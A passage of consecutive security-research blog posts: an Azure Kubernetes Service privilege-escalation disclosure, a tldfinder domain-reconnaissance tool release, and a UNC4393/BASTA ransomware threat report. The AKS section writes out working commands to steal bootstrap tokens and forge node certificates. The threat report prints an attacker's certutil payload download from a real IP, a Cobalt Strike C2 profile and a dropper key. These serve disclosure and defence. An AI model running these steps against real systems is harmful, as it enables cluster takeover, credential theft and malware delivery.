236c709bbcb92aa30b7e67705ef7f55a) K2.zip (MD5: d7aff07e7cd20a5419f2411f6330f530) L1.zip (MD5: a6c4d2072961e9a8c98712c46be588f8) LiteSkinUtils.dll (MD5: 059d94e8944eca4056e92d60f7044f14) toughie.txt (MD5: dfdc331e575dae6660d6ed3c03d214bd) WCLDll.dll (MD5: 47eee41b822d953c47434377006e01fe)

Written by: Nick McClendon, Daniel McNamara, Jacob Paullus

 

Executive Summary

• Mandiant disclosed this vulnerability to Microsoft via the Microsoft Security Response Center (MSRC) vulnerability disclosure program, and Microsoft has fixed the underlying issue.
• An attacker with access to a vulnerable Microsoft Azure Kubernetes Services cluster could have escalated privileges and accessed credentials for services used by the cluster. 
• Attackers that exploited this issue could gain access to sensitive information, resulting in data theft, financial loss, reputation harm, and other impacts.

Introduction

Kubernetes can be difficult to harden. Enforcing authentication for internal services, applying granular NetworkPolicies, and restricting unsafe workloads with Pod Security are now table stakes for preventing post-exploitation activity that can compromise an entire cluster. These security configurations that limit attack surface help prevent against known and unknown attacks alike.

Azure Kubernetes Services clusters using "Azure CNI" for the "Network configuration" and "Azure" for the "Network Policy" were affected by this privilege escalation vulnerability. An attacker with command execution in a Pod running within an affected Azure Kubernetes Services cluster could download the configuration used to provision the cluster node, extract the transport layer security (TLS) bootstrap tokens, and perform a TLS bootstrap attack to read all secrets within the cluster. This attack did not require the Pod to be running with hostNetwork set to true and does not require the Pod to be running as root.

Mandiant disclosed this vulnerability to Microsoft via the MSRC vulnerability disclosure program, and Microsoft has fixed the underlying issue.

Background Cluster Network Access

Kubernetes clusters are often deployed without consideration for the possibility of an attacker with code execution within a Pod. This can happen in many ways, including via existing vulnerabilities in running workloads, continuous integration build jobs, or a compromised developer account. In these scenarios, NetworkPolicies are the first line of defense to prevent post-exploitation activity.

Without NetworkPolicies in place, you should assume a compromised Pod can access any network resource any other Pod on the cluster can access. This could include the local Redis cache for another Pod, managed databases running in your cloud provider, or even your on-premises network. When these services require authentication and are configured correctly, this is a relatively low-risk configuration —a vulnerability in one of these services would be necessary for an attacker to exploit.

Often overlooked among these accessible services are the internal cloud services used to configure the worker nodes on which these Pods are running. The metadata server, accessible at http://169.254.169.254 across cloud providers, provides machine configuration and often the credentials used to identify the machine to the cloud provider. Generally speaking, direct access to the metadata server is equivalent to having the same permissions the machine does.

Metadata server attacks are not new and cloud providers do a lot to limit their attack surface by default. Most cloud providers do a combination of recommending NetworkPolicies to block access to 169.254.0.0/16, limiting the default privileges assigned to worker nodes, and providing alternatives to allow Pods to have their own credentials separate from the instance they're running on.

Bootstrapping Kubernetes Nodes

The difficulty in bootstrapping trust in Kubernetes Nodes is well known among the Kubernetes security community. The kubelet that runs on Kubernetes Nodes needs a TLS certificate signed by the control plane Certificate Authority (CA) to operate safely. But in a large distributed system where nodes (or virtual machines [VMs]) are constantly created and destroyed, how should that certificate be provisioned onto the VM? One option on cloud services is to use the metadata server, accessible at http://169.254.169.254 across cloud providers, to deliver a static token to provisioned VMs that can be used to prove the VM should be part of the cluster and issued a kubelet certificate.

The problem with that approach is that these metadata services are network accessible and could cause theft of the token if the attacker has network access, such as through a server-side request forgery (SSRF) vulnerability. The Google Kubernetes Engine (GKE) security team presented about this style of attack with Shopify at Kubecon in 2018. With possession of these bootstrap tokens, an attacker can create a kubelet certificate for their own machine and use those credentials to attack the control plane, steal secrets, and interfere with the workloads scheduled on their malicious "node."

While protecting these tokens by denying applications access to the metadata server can help, the managed Kubernetes industry has evolved beyond simple token provisioning as a means for identifying VMs for critical security decisions. 

Taking GKE as an example, we can see this evolution happening. GKE first protected clusters against these kinds of bootstrap token-stealing attacks in February 2018 with the launch of the metadata concealment proxy, which was presented at Kubecon that year. That temporary solution was replaced in September 2019 with a cryptographically verifiable virtual Trusted Platform Module (vTPM)-backed trust bootstrap process that operates as part of shielded nodes. Shielded nodes have been enabled by default for all newly created GKE clusters since January 2021. It is enabled for all GKE Autopilot clusters and cannot be disabled.

GKE shielded nodes remove the risk of bootstrap token theft instead of concealing it. Instead of relying on possession of a static token to authenticate and authorize a request for a new kubelet certificate, the VM requests an attestation from the VM's vTPM, which is then verified by the control plane before issuing the kubelet certificate. Generating this attestation requires the attacker to have access to a root-owned device on the VM, which is a significantly higher bar than network access to the metadata server. Even with that access, the attacker can only generate an attestation for that node, not any node in the cluster. A new attestation will need to be produced to obtain a new kubelet certificate when the existing one expires, requiring the attacker to maintain presence on the node.

Azure WireServer and the HostGAPlugin

Azure WireServer is an undocumented component of Azure used internally by the platform for several reasons. At the time of writing, the best official resource for the WireServer's functionality is Azure's WALinuxAgent repository, which handles provisioning of Linux instances and interactions with Azure Fabric.

CyberCX published research in May 2023 that included an interesting attack path with the undocumented HostGAPlugin. Given access to the WireServer (http://168.63.129.16/machine/?comp=goalstate) and HostGAPlugin (http://168.63.129.16:32526/vmSettings) endpoint, an attacker could retrieve and decrypt the settings provided to a number of extensions, including the "Custom Script Extension," a service used to provide a virtual machine its initial configuration.

Vulnerability Exploitation Recovering TLS Bootstrap Tokens

Following the process documented by CyberCX, the key used to encrypt protected settings values can be requested from the WireServer. The commands to generate wireserver.key have been copied as follows from their original blog post for completeness.

openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 -newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' -H 'x-ms-version: 2015-04-05' -s | grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii) curl $CERT_URL -H 'x-ms-version: 2015-04-05' -H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key

When performed correctly, the TenantEncryptionCert key will be written to wireserver.key.

Figure 1: Expected key attributes for wireserver.key

The JSON document returned from the HostGAPlugin can be roughly parsed to remove null values and Base64 decoded to produce the encrypted blob (protected_settings.bin) containing the script used to provision the machine.

curl -s 'http://168.63.129.16:32526/vmSettings' | jq -r.extensionGoalStates[].settings[].protectedSettings | grep -v null | base64 -d > protected_settings.bin

The encrypted settings blob (protected_settings.bin) can then be decrypted with the previously obtained wireserver.key.

openssl cms -decrypt -inform DER -in settings.bin -inkey ./wireserver.key > settings.json

This settings file includes a single key, commandToExecute, which includes the provisioning script used for the Kuberenetes nodes the Pod is running on.

Figure 2: ProtectedSettings configuration for commandToExecute

The provisioning script appears to include the templated result of cse_cmd.sh, a provisioning script for Azure Kubernetes Service nodes. This provisioning script includes a number of secrets included as environment variables, with the ones used for privilege escalation documented as follows.

Environment Variable

Purpose

KUBELET_CLIENT_CONTENT

Generic Node TLS Key

KUBELET_CLIENT_CERT_CONTENT

Generic Node TLS Certificate

KUBELET_CA_CRT

Kubernetes CA Certificate

TLS_BOOTSTRAP_TOKEN

TLS Bootstrap Authentication Token

KUBELET_CLIENT_CONTENT, KUBELET_CLIENT_CERT_CONTENT, and KUBELET_CA_CRT can be Base64 decoded and written to disk to use with the Kubernetes command-line tool kubectl to authenticate to the cluster. This account has minimal Kubernetes permissions in recently deployed Azure Kubernetes Service (AKS) clusters, but it can notably list nodes in the cluster.

Figure 3: Permissions granted to the embedded TLS certificates

TLS_BOOTSTRAP_TOKEN can be provided directly to authentication with kubectl and can read and create ClientSigningRequests (CSR), enabling a TLS bootstrap attack, similar to the 2018 attack described by 4Armed on GKE that was preventable by using the GKE metadata concealment feature at the time, and later prevented by default on GKE with Shielded Nodes.

Figure 4: Permissions granted to the TLS Bootstrap token

Recovering Active Node Certificates

The certificates embedded in cse_cmd.sh can be used to list the nodes within the cluster, used in a later step to request a certificate for an active node.

kubectl --certificate-authority ca.crt --client-certificate kubelet.crt --client-key kubelet.key --server https://10.0.0.1:443 get nodes

Nodes are identified with client certificates with the Common Name system:node:<NODE NAME> and the Organization system:nodes. Following are the cfssl commands used to generate a certificate.

cat <<EOF | cfssl genkey - | cfssljson -bare <NODE NAME> { "CN": "system:node:<NODE NAME>", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "O": "system:nodes" } ] } EOF

The CSR can be submitted to the Kubernetes API using the TLS bootstrap token included in cse_cmd.sh using the following kubectl command.

cat <<EOF | kubectl --token=<TLS BOOTSTRAP TOKEN> --certificate-authority ca.crt --server https://10.0.0.1:443 apply -f - apiVersion: certificates.k8s.io/v1 kind: CertificateSigningRequest metadata: name: "<NODE NAME>" spec: groups: - system:nodes request: $(cat "<NODE NAME>".csr | base64 | tr -d '\n') signerName: kubernetes.io/kube-apiserver-client-kubelet usages: - digital signature - key encipherment - client auth EOF

Azure Kubernetes Services automatically signs CSRs submitted by TLS bootstrap tokens and generates an authentication certificate. The certificate can be requested with the following kubectl command.

kubectl --token=<TLS BOOTSTRAP TOKEN> --certificate-authority ca.crt --server https://10.0.0.1:443 get csr <NODE NAME> -o jsonpath='{.status.certificate}' | base64 -d > <NODE NAME>.crt

The obtained certificate can then be validated by using it to authenticate to the Kubernetes API with the following kubectl command.

kubectl --certificate-authority ca.crt --client-certificate <NODE NAME>.key --client-key <NODE NAME>.crt --server https://10.0.0.1:443 auth can-i --list

Figure 5: Permissions granted to the newly issued certificate

The Node Authorizer grants permissions based on the workloads scheduled on the node, which includes the ability to read all secrets for a workload running on the node. This process can be repeated across all active nodes to gain access to all secrets used by running workloads.

Prevention

Adopting a process to create restrictive NetworkPolicies that allow access only to required services prevents this entire attack class. Privilege escalation via an undocumented service is prevented when the service cannot be accessed at all.

Written by: Idan Ron

 

Background

My story started a few months ago, when I performed a red team assessment for a major retail company. During the Open Source Reconnaissance (OSINT) phase, I reviewed the SSL certificates that included the client name. In these certificates I identified that the client owned its own top-level domain (TLD). A TLD is the last part of a domain name, the letters that come after the final dot. For example, in the domain name "google.com," the TLD is ".com". Companies such as Google own many TLDs, including .goog, .go, and .google. Google manages all of those TLDs and the domains underneath them (for example, "site.goog").

Owning TLDs is not uncommon. The following table lists various companies and the TLDs they own (for a full list of TLDs, see TLD-List or IANA List):

Company

TLD

Google

.google, .go

Marriott

.marriott

American Express

.americanexpress, .amex

Barcelona

.Barcelona

Gucci

.gucci

Jaguar

.jaguar

Kia

.kia

Netflix

.netflix

The client’s TLD piqued my interest, so I used Google and GitHub to try to find tools that could provide me with a list of TLDs owned by an organization, or to search for domains under a specific TLD. To my surprise, I couldn’t find any. 

You’re probably asking yourself, why should I care about TLDs? Well, one of my favorite bug bounty hunters, Jason Haddix, a person known within the hacker community for his OSINT abilities, once said during a Bug Hunter's Methodology Live Course, “For every apex domain you find you 4x your chance of hacking the target.” Basically, the more TLDs you discover that belong to a company, the more likely you are to find those juicy vulnerabilities.

And so, I sought to compile a list of TLDs owned by the client, which could lead to the identification of new domains that might not have been known and scanned.

The Issue

As I mentioned earlier, I couldn’t find a tool or a site that would provide me with a list of TLDs and the specific domains for each TLD.

Currently, all of the enumeration tools' focus is on subdomains​. Subdomain enumeration is a big topic in the OSINT/Bug Bounty community, but domain enumeration based on TLD is not. There are projects such as Zip by Trickest (the repository was disabled due to DMCA takedown notice) that focus on brute-forcing ​a domain based on a specific TLD (in this case, the ".zip" TLD). The tool is actively brute-forcing domains based on a wordlist, and while it’s a good idea, I was wondering if there are other ways to do it passively that could lead to better results, similar to how passive subdomain enumeration is done.

Other sites, such as Internet Corporation for Assigned Names and Numbers (ICANN) or the Centralized Zone Data Service (CZDS), will allow you to perform a request to the TLD owner for those domain names. However, this would alert the customer to my actions, and thus is not a viable solution. The nature of Mandiant Red Team work requires remaining undetected. 

So, I had to create something new. And this is how the new tool idea came to fruition. 

aside_block

<ListValue: [StructValue([('title', 'Introducing tldfinder!'), ('body', <wagtail.rich_text.RichText object at 0x3ef1b26fe5b0>), ('btn_text', 'Download tldfinder'), ('href', 'https://github.com/projectdiscovery/tldfinder'), ('image', None)])]>

The Solution

After giving it some thought, I split the actions that needed to be taken to achieve the goal into two steps:

1. Find the TLD by performing a regex search from a list of TLDs for the client name and variations of their name. This could be achieved using sites such as the IANA list and TLD-List. 
2. Determine how to search the domains inside the TLDs. Is it possible to use some of those subdomain enumeration techniques to search for "*.tld" instead of "*.domain.tld"?

There are many tools that perform subdomain enumeration passively and actively. Passively could be via querying a variety of data sources for the subdomains. Actively could be done via brute-forcing using a wordlist. What if I use the same data sources that I do passively, but instead of searching for subdomains, I search for domains? Will the data sources support this? 

One of the most common (and probably the most widely used) subdomain enumeration tools is Subfinder by ProjectDiscovery. I extracted the current data sources from Subfinder (this can be achieved by looking at the source code and/or using the "-list" flag). Then I manually checked each data source to confirm whether it would allow me to search for a domain instead of a subdomain. 

It took a few days to experiment with all the APIs to determine if they allow the new regex or not, but I learned that some did, and some did not.

For example, crtsh, the SSL certificate's search application, did allow me to search for domains using the Postgres SQL server they expose publicly.

An example of how this could be done using crtsh is by connecting to the Postgres database with the following command: psql -t -h crt.sh -p 5432 -U guest certwatch. Installation of the psql utility is out of scope for this blog post, but instructions are available by performing a quick search. Executing the following query will search the TLD part for the domains you’re trying to identify:

SELECT ci.NAME_VALUE NAME_VALUE FROM certificate_identity ci WHERE ci.NAME_TYPE = 'dNSName' AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower(‘%.TLD'));

A similar approach can be used with Netlas, an OSINT company that allows users to register a new user and use an API to query domain information. Using Netlas and the following query, I was able to retrieve a list of domains based on a specific TLD:

curl -H 'X-API-Key: *****' https://app.netlas.io/api/domains/?q=*.google | jq .

Figure 1: Enumeration of TLDs using Netlas

The following list shows the data sources that allowed me to perform a search query for domains, which ones didn’t allow me, and which ones I couldn’t check due to not having access to a paid API key:

• Allowed domain enumeration: Crtsh, netlas, bufferover, censys, github, dnsrepo, wayback machine
• Did not allow domain enumeration: Alienvault, anubis, bevigil, binaryedge, chaos, commoncrawl, digitorus, dnsdumpster, fullhunt, hackertarget, intelx, leakix, rapiddns, redhuntlabs, securitytrails, shodan, sitedossier, virustotal, zoomeyeapi
• Unknown: C99, Certspotter, Chinaz, Dnsdb, Fofa, Hunter, Passivetotal, Quake, Riddler, Robtex, Threatbook, whoisxmlapi, Facebook, builtwith

This leads me to the part you all have been waiting for: the new tldfinder tool! 

Tool Release

In collaboration with ProjectDiscovery, I would like to announce tldfinder, a streamlined tool for discovering TLDs, associated subdomains, and related domain names.

Display tldfinder help to see all supported options:

$ ./tldfinder -h

The tool has three discovery modes:

• DNS (default): Searches for the input string entered in the TLD section
• TLD: Searches for the input string in the domain field and performs fuzzing using dnsx
• Domain: Pulls out the related domain names of the given input domain using reverse Whois (requires API for one of the following: dnsrepo, whoxy, or whoisxmlapi)

It’s worth noting that DNS and TLD modes are active, meaning they perform DNS brute force. The Domain mode is passive, meaning there is no touching the domains, only querying from the data sources.

Sources

Currently, at time of release, tldfinder queries the following APIs for information.

$ ./tldfinder -ls __ __ ______ __ / /_/ /__/ / _(_)__ ___/ /__ ____ / __/ / _ / _/ / _ \/ _ / -_) __/ \__/_/\_,_/_//_/_//_/\_,_/\__/_/ projectdiscovery.io [INF] Current list of available sources. [9] [INF] Sources marked with an * need key(s) or token(s) to work. [INF] You can modify /home/idanron/.config/tldfinder/provider-config.yaml to configure your keys/tokens. whoisxmlapi * bufferover * censys * dnsrepo * dnsx whoxy * netlas * waybackarchive crtsh

The DNS and TLD discovery modes query all the sources (and perform fuzzing in TLD mode), while the Domain mode only queries dnsrepo, whoxy, or whoisxmlapi (as only those support reverse Whois). 

Using DNS Mode

The following example uses tldfinder with the default DNS discovery mode option to search for domains that are part of the ".google" TLD.

$ ./tldfinder -d .google __ __ ______ __ / /_/ /__/ / _(_)__ ___/ /__ ____ / __/ / _ / _/ / _ \/ _ / -_) __/ \__/_/\_,_/_//_/_//_/\_,_/\__/_/ projectdiscovery.io [INF] Loading provider config from /home/idanron/.config/tldfinder/provider-config.yaml [INF] Enumerating domains for google partners.cloudskillsboost.google community.grow.google epp.registry-sandbox.google epp.registry.google www.registry.google registry-qa.google support.registry-qa.google citystpaul.google jira-testing.gss.google cloudskillsboost.google stg.cloudvmwareengine.google domains.google environment.google cloud.google design.google netbotzcircunvalacion.google app.google channel-app.google xc-8d1db3.dns.google whois.registry-sandbox.google epp.nic.google service.cloudvmwareengine.google dev.cloudvmwareengine.google travel.google lxc-wordpress.dns.google registry-sandbox.google www.registry-sandbox.google www.registry-qa.google lxc-gftcloud.dns.google lers.google test.cloud.gss.google www.cloudskillsboost.google grow.google registry.google 8888.google europe-west2-test.prodtest.cloudvmwareengine.google mail.ai.google dns64.dns.google earlydays.google privx.google whois.registry.google support.registry.google fx06b9f1.google whois.nic.google dns.google cloud.gss.google partner.cloudskillsboost.google support.registry-sandbox.google [INF] Found 48 domains for google in 637 milliseconds 994 microseconds Using TLD Mode

In the following example, I use tldfinder with the TLD discovery mode option to search for domains that have the string "google" in them; then I use dnsx (the aforementioned ProjectDiscovery tool) to perform fuzzing against the TLD part.

$ ./tldfinder -d google -dm tld __ __ ______ __ / /_/ /__/ / _(_)__ ___/ /__ ____ / __/ / _ / _/ / _ \/ _ / -_) __/ \__/_/\_,_/_//_/_//_/\_,_/\__/_/ projectdiscovery.io [INF] Loading provider config from /home/idanron/.config/tldfinder/provider-config.yaml [INF] Enumerating domains for google google.meme google.xn--fiq228c5hs google.ltda google.vote google.amsterdam google.hiphop google.sv google.boo google.cymru google.llc google.us google.xn--kprw13d google.christmas google.dad google.app google.monster google.rs [--snip--] [INF] Found 468 domains for google in 3 minutes 3 seconds

* Please note that the results were redacted due to the length of the results.

Using Domain Mode

The following example uses tldfinder with the Domain discovery mode to search for domains that may be related to the input string ("projectdiscovery.io," in this case). This works by performing reverse DNS using one (or more) of the APIs allowed for this mode (see Sources section for more information).

$ ./tldfinder -d projectdiscovery.io -dm domain __ __ ______ __ / /_/ /__/ / _(_)__ ___/ /__ ____ / __/ / _ / _/ / _ \/ _ / -_) __/ \__/_/\_,_/_//_/_//_/\_,_/\__/_/ projectdiscovery.io [INF] Enumerating domains for projectdiscovery.io projectdiscovery.org projectdiscovery.in projectdiscoveryinc.org projectdiscoveryu.com projectdiscoverycaribbean.org nuclei.projectdiscovery.io projectdiscovery.tech projectdiscovery.org.uk projectdiscoveryofva.com projectdiscoveryou.com projectdiscovery.dev projectdiscovery.co.uk projectdiscoveryprograms.com projectdiscoverymovie.com dns.projectdiscovery.io projectdiscovery.com projectdiscovery.net projectdiscovery.io projectdiscoveryprograms.org docs.projectdiscovery.io [INF] Found 20 domains for projectdiscovery.io in 1 second 571 milliseconds How to Improve the Results

As always, it is recommended that you add your API keys to the provider-config.yaml file by creating the file (the file is also created automatically during the first run of the tool) in /home/{USER}/.config/tldfinder/provider-config.yaml on Linux or C:\Users\{USER}\.config\tldfinder\provider-config.yaml for Windows (replace {USER} with your username on the operation system).

The file format is as follows (replace the REDACTED with your API keys).

bufferover: ["REDACTED"] censys: [] dnsrepo: ["REDACTED"] netlas: ["REDACTED"] whoisxmlapi: ["REDACTED"] whoxy: [] Acknowledgment

I would like to thank ProjectDiscovery for the help and support in creating this tool!

Written by: Josh Murchie, Ashley Pearson,  Joseph Pisano,  Jake Nicastro,  Joshua Shilko, Raymond Leong

 

Overview

In mid-2022, Mandiant's Managed Defense detected multiple intrusions involving QAKBOT, leading to the deployment of BEACON coupled with other pre-ransomware indicators. This marked Mandiant's initial identification of UNC4393, the primary user of BASTA ransomware. Mandiant has responded to over 40 separate UNC4393 intrusions across 20 different industry verticals. While healthcare organizations have not traditionally been a focus for UNC4393, several breaches in the industry this year indicate a possible expansion of their interests. However, this represents only a fraction of the cluster's victims, with the Black Basta data leak site purporting over 500 victims since inception.

Over the course of this blog post, Mandiant will detail the evolution of UNC4393's operational tactics and malware usage throughout its active lifespan, with a focus on the period following the QAKBOT botnet takedown. We will highlight the cluster's transition from readily available tools to custom malware development as well as its evolving reliance on access brokers and diversification of initial access techniques.

Figure 1: UNC4393 intrusion lifecycle

Attribution and Targeting

UNC4393 is a financially motivated threat cluster, and the primary user of BASTA ransomware, tracked since mid-2022 but likely active since early 2022 based on activity on the BASTA DLS.  The group has overwhelmingly leveraged initial access gained via UNC2633 and UNC2500 QAKBOT botnet infections to deploy BASTA ransomware. QAKBOT is typically distributed via phishing emails containing malicious links or attachments. In some cases, HTML smuggling has also been used to distribute ZIP files containing IMG files that house LNK files and QAKBOT payloads. 

Mandiant suspects BASTA operators maintain a private or small, closed-invitation affiliate model whereby only trusted third-party actors are provided with use of the BASTA encryptor. Unlike traditional ransomware-as-a-service (RaaS), BASTA is not publicly marketed and its operators do not appear to actively recruit affiliates to deploy the ransomware. Instead, they focus on acquiring initial access via partnerships or purchases in underground communities. This deviates from traditional RaaS models, which focus on the ransomware development and related services such as the data leak site (DLS) that are provided to affiliates in exchange for directly distributing the ransomware. While UNC4393 is the only currently active threat cluster deploying BASTA that Mandiant tracks, we cannot rule out the possibility that other, vetted threat actors may also be given access to the encrypter.

The hundreds of BASTA ransomware victims claimed on the DLS appear credible due to UNC4393’s rapid operational tempo. With a median time to ransom of approximately 42 hours, UNC4393 has demonstrated proficiency in quickly performing reconnaissance, data exfiltration, and completing actions on objectives.

…And Then There Were Two

At the onset of the BASTA ransomware deployment in 2022, Mandiant initially tracked associated activity similar to other RaaS models with operators and affiliates. Caution was exercised in attributing activity to a single cluster given the possibility of disparate actors within a RaaS model. Through our merge research methodology, Mandiant consolidated its tracking to two primary clusters: UNC4393 and UNC3973. While UNC4393 encompasses the majority of BASTA-related activity, UNC3973 demonstrates unique attributes and tactics, techniques, and procedures (TTPs), which warrant separate tracking. This consolidation suggests that the operators of BASTA ransomware work with a highly exclusive and tightly knit group. 

Malware Observed

Mandiant has observed UNC4393 deploying the following malware:

Malware Family

Description

BASTA

BASTA is a ransomware written in C++ that encrypts local files. The ransomware is capable of deleting volume shadow copies. BASTA generates a random ChaCha20 or XChaCha20 key to encrypt each file; the key is encrypted and appended to the end of the file. The malware has been observed using .basta as the extension for encrypted files; however, some samples have used a random nine-character alphanumeric extension.

SYSTEMBC

SYSTEMBC is a tunneler written in C that retrieves proxy-related commands from a command-and-control (C2 or C&C) server using a custom binary protocol over TCP. A C2 server directs SYSTEMBC to act as a proxy between the C2 server and a remote system. SYSTEMBC is also capable of retrieving additional payloads via HTTP. Some variants may utilize the Tor network for this purpose. Downloaded payloads may be written to disk or mapped directly into memory prior to execution. SYSTEMBC is often utilized to hide network traffic associated with other malware families. Observed families include DANABOT, SMOKELOADER, and URSNIF.

KNOTWRAP

KNOTWRAP is a memory-only dropper written in C/C++ that can execute an additional payload in memory. Within a designated Portable Executable (PE) section, the embedded payload contents are compressed and encrypted using a custom stream cipher. The secondary payload is executed in the address space of the calling process. Extended capabilities involve code obfuscation, dynamic resolution of API function addresses, and the parsing of PE file structures. KNOTWRAP capabilities and/or features could be subject to variations based on the compiled build.

KNOTROCK

KNOTROCK is a .NET-based utility that creates a symbolic link on network shares specified in a local text file. After creating each symbolic link, KNOTROCK executes what is presumably a BASTA ransomware executable and provides it with the path to the newly created symbolic link.

DAWNCRY

DAWNCRY is a memory-only dropper that decrypts an embedded resource into memory with a hard-coded key of 65 69 55 56 79 72 79 67 6C 3E 58 45 2A 5E 71 78 45 59 69 49 56 56 61 38 34 4C. 

The resource contains three portions of shellcode, one of which contains a DAVESHELL loader. DAWNCRY also contains a PDB path of SophosFSTelemetry.pdb.

PORTYARD

PORTYARD is a tunneler that establishes connection to a hard-coded C2 server using a custom binary protocol over TCP. It accepts commands to establish a TCP connection to a relay server and proxies traffic between the hard-coded C2 and relay server via TCP. It creates a thread on the system to monitor for incoming connections from the C2, and within the thread it checks the first response to validate it.

COGSCAN

COGSCAN is a .NET reconnaissance assembly used to gather a list of hosts available on the network.

Table 1: UNC4393-deployed malware

Initial Access Brokers

Early UNC4393 activity nearly exclusively involved leveraging existing QAKBOT infections delivered via phishing for initial access. In late 2023, several months after the QAKBOT infrastructure takedown by the FBI and the United States Justice Department, UNC4393 began leveraging other distribution clusters for initial access, specifically those delivering DARKGATE, again via phishing. This relationship was short-lived, however, as only a few months later UNC4393 was observed following successful UNC5155 SILENTNIGHT intrusions. As a result, UNC4393 has demonstrated a willingness to cooperate with multiple distribution clusters to complete its actions on objectives.

SILENTNIGHT is a C/C++ backdoor that communicates via HTTP/HTTPS and may utilize a domain generation algorithm (DGA) for C2. Its plug-in framework allows for versatile functionality, including system control, screenshot capture, keylogging, file management, and cryptocurrency wallet access. It also targets credentials through browser manipulation.

Initially observed in late 2019, Mandiant saw a brief lull in SILENTNIGHT usage before a resurgence in mid-2021, lasting only a few months. This was followed by a significant hiatus that lasted until late 2023. This most recent surge of SILENTNIGHT activity, beginning earlier this year, has been primarily delivered via malvertising. This marked a notable shift away from phishing as UNC4393's only known means of initial access.

Initial Foothold

After gaining access to target environments, the remainder of UNC4393 operations consist of a combination of living-off-the-land (LotL) techniques and custom malware. 

One consistently observed method for establishing and maintaining a foothold was DNS BEACON. UNC4393 is known to reuse variations of the following unique domain-naming conventions:

• h.dns. + C2 Domain
• ridoj4. + <8 character string> + .dns. + C2 Domain
• jzz. + <8 character string> + .dns. + C2 Domain
• wnh. + <8 character string> + .dns. + C2 Domain

According to Cobalt Strike documentation, DNS beacons and listeners can be customized using Malleable C2 profiles. Each unique subdomain can be configured to perform a respective action when called.

# DNS subhost override options added in 4.3: set beacon "doc.bc."; set get_A "doc.1a."; set get_AAAA "doc.4a."; set get_TXT "doc.tx."; set put_metadata "doc.md."; set put_output "doc.po."; set ns_response "zero";

Figure 2: Example Cobalt Strike DNS Beacon Malleable C2

While UNC4393 has been observed deploying BEACON early in its intrusions, the group often leverages the payload throughout its operations.

Beginning in early 2024, UNC4393 was observed deploying a multi-stage infection chain initiated by DAWNCRY, followed by a DAVESHELL dropper, and ultimately leading to the PORTYARD tunneler.

DAWNCRY is a memory-only dropper that decrypts an embedded resource into memory, which contains the following three portions of shellcode:

1. [First 0x60C bytes] - A DAVESHELL dropper
2. [Bytes 0x60D - 0x19F0] - The main payload, only so far seen as the tunneler PORTYARD. This tunneler creates a thread on the system to monitor for incoming connections from the C2, and within the thread checks the first response to validate it. It expects to receive one of two commands from the C2 server to establish a connection with the relay server:
   • Command "1" receives the relay server formatted as an IPv4 address and port.
   • Command "3" receives the relay server formatted as an FQDN and port.
3. [Bytes 0x1A00 - 0x29F2] - A second portion of shellcode, starting with the string "dave".

If one of the required PORTYARD commands is not present, it assumes the connection is established and begins monitoring for data from either the relay server or original hard-coded C2 server and proxies data between the two via TCP.

Figure 3: DAWNCRY and PORTYARD deployment

Internal Recon 

After gaining initial access, UNC4393 has commonly relied upon open-source tools such as BLOODHOUND, ADFIND, and PSNMAP to assist in mapping out victim networks and identifying ways to either laterally move or escalate privileges. UNC4393 will frequently store these tools within the C:\Users\Public or C:\Windows folders. We have also observed UNC4393 utilize a scanning tool Mandiant tracks as COGSCAN. 

COGSCAN is a .NET reconnaissance tool used to enumerate hosts on a network and gather system information. We suspect UNC4393 refers to this tool internally as GetOnlineComputers due to the following PDB path present in the sample:

C:\Users\ehgrhr\source\repos\GetOnlineComputers\ GetOnlineComputers\obj\x86\Release\goc.pdb

Figure 4: Example COGSCAN PDB path

While individual samples of COGSCAN contain significantly similar PDB paths with the exception of the username, all end with goc.pdb.

COGSCAN creates the following four distinct artifacts on the endpoint: 

• C:\users\public\online.txt
• C:\users\public\pc.txt
• C:\users\public\pc_sorted.txt
• %CD%\ldap.txt

Within these four files, COGSCAN collects the following information:

• Endpoint information
  • Machine name
  • Ipv4
  • Operating system and revision
  • Last patch applied
  • Sessions
• Domains and LDAP information
• Endpoint function
  • Domain controller
  • Webserver
• Scans of multiple registry keys
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages
  • HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint

Lateral Movement and Persistence

UNC4393 has predominantly relied on SMB BEACON and Remote Desktop Protocol (RDP) to carry out its lateral movement. As mentioned previously, BEACON usage is ubiquitous in nearly every UNC4393 intrusion. The group has demonstrated a predilection for usage of the remote execution via Windows Management Instrumentation (WMI) capability within Cobalt Strike to spread and launch malware or other tools during the course of its intrusions. For example, in one case, the BASTA encryptor was staged on hosts to be encrypted before being executed via WMI en-masse on over 100 systems within 10 minutes.  

Furthermore, Mandiant observed UNC4393's preference for establishing persistence through the use of a variety of publicly available remote monitoring and management (RMM) software in its early operations. Specifically, we observed UNC4393 utilize ANYDESK, ATERA, SPLASHTOP, SCREENCONNECT, SUPREMO, and NETSUPPORT. Generally, these tools were saved and launched from C:\ProgramData, C:\Windows\Temp, or C:\Dell. 

However, it is worth noting that these tools seem to have fallen out of favor from the group's preferred TTPs since late 2022. Mandiant observed this is the approximate timeframe in which SYSTEMBC tunneler usage began rising for the group, potentially indicating a shift in operational preferences. Common directories for storing SYSTEMBC PE binaries include C:\ProgramData, C:\Windows, and C:\Users\Public. Then, in mid-2023, there was a shift in TTPs where SYSTEMBC usage dropped off with seemingly no replacement until early 2024 when PORTYARD tunneler usage began.

In one observed instance, UNC4393 encountered issues with endpoint antivirus when attempting to establish persistence on a host. They circumvented this by downloading a SILENTNIGHT malware payload by abusing the native Windows command-line utility certutil.

C:\WINDOWS\system32\certutil.exe -urlcache -split -f http://179.60.149.235/KineticaSurge.dll C:\Users\Public\KineticaSurge.dll

Figure 5: UNC4393 command downloading an UNC5155 SILENTNIGHT binary

Ransomware and Extortion

